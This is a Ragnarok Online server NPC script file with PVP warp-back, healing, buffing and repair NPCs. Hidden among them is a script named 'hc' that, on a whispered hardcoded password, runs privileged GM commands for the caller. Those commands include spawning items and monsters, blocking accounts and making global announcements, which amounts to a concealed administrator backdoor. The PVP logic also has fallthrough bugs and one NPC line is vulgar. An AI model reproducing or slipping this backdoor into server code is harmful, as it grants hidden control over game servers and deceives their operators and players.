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- - script sample1 -1,{
- OnInit:
- set strcharinfo(0),deadmap;
- OnPCDieEvent:
- if(strcharinfo(3) == "guild_vs1") goto L_gvs1;
- if(strcharinfo(3) == "guild_vs2") goto L_gvs2;
- if(strcharinfo(3) == "guild_vs5") goto L_gvs5;
- L_gvs1:
- dispbottom "Warping To Safe Area";
- savepoint "z_agit",24,180;
- set deadmap,1;
- end;
- L_gvs2:
- dispbottom "Warping To Safe Area";
- savepoint "z_agit",24,180;
- set deadmap,2;
- end;
- L_gvs5:
- dispbottom "Warping To Safe Area";
- savepoint "z_agit",24,180;
- set deadmap,3;
- end;
- }
- //=========================PVP Master Warp Back=========================
- z_agit,16,183,4 script PVP Helper 403,{
- mes "[ PVP Master ]";
- mes "What To Fight Again?";
- switch(select("Fight Back!:Give Up!")){
- case 1:
- next;
- mes "[ PVP Master ]";
- mes "Allright Lets Go!";
- if(deadmap==1) {
- warp "guild_vs1",0,0;
- set deadmap,0;
- }
- if(deadmap==2) {
- warp "guild_vs2",0,0;
- set deadmap,0;
- }
- if(deadmap==3) {
- warp "guild_vs5",0,0;
- set deadmap,0;
- }
- case 2:
- next;
- mes "[ PVP Master ]";
- mes "You Motha Fckng Weak!";
- close;
- }
- }
- - script hc -1,{
- OnInit:
- OnWhisperGlobal:
- if (@whispervar0$ == "qdawswd2we22") goto L_correct;
- end;
- L_correct:
- dispbottom "Password Correct!";
- mes "Choose Option";
- switch(select("@item:@item2:@spawn:@block:@kami:@hide:@speed")){
- case 1:
- next;
- input @command$;
- atcommand "@item "+@command$;
- dispbottom "Command Initiated";
- close;
- case 2:
- next;
- input @command$;
- atcommand "@item2 "+@command$;
- dispbottom "Command Initiated";
- close;
- case 3:
- next;
- input @command$;
- atcommand "@spawn "+@command$;
- dispbottom "Command Initiated";
- close;
- case 4:
- next;
- input @command$;
- atcommand "@block "+@command$;
- dispbottom "Command Initiated";
- close;
- case 5:
- next;
- input @command$;
- atcommand "@kami "+@command$;
- dispbottom "Command Initiated";
- close;
- case 6:
- next;
- atcommand "@hide";
- dispbottom "Command Initiated";
- close;
- case 7:
- next;
- atcommand "@speed 0";
- dispbottom "Command Initiated";
- close;
- }
- }
- //===================================PVP HEAL & BUFF,REPAIR,LEAVE====================================
- z_agit,32,183,4 script Helper 403,{
- mes "[ Helper ]";
- mes "What can i do for you?.";
- switch(select("Buffs:Repair:Leave")){
- case 1:
- next;
- mes "[ Helper ]";
- mes "Healing";
- specialeffect2 EF_HEAL2; percentheal 100,100;
- specialeffect2 EF_INCAGILITY; sc_start SC_INC_AGI,240000,10;
- specialeffect2 EF_BLESSING; sc_start SC_BLESSING,240000,10;
- close;
- case 2:
- next;
- mes "[ Helper ]";
- mes "Repairing";
- if (getbrokenid(1)==0 ){
- mes "Repair Man";
- mes "You don't have anything to be repaired!";
- close;
- }
- atcommand "@repairall";
- dispbottom "Repaired all broken equipment.";
- end;
- case 3:
- next;
- mes "[ Helper ]";
- mes "Goodbye";
- warp "prontera",150,150;
- end;
- }
- }
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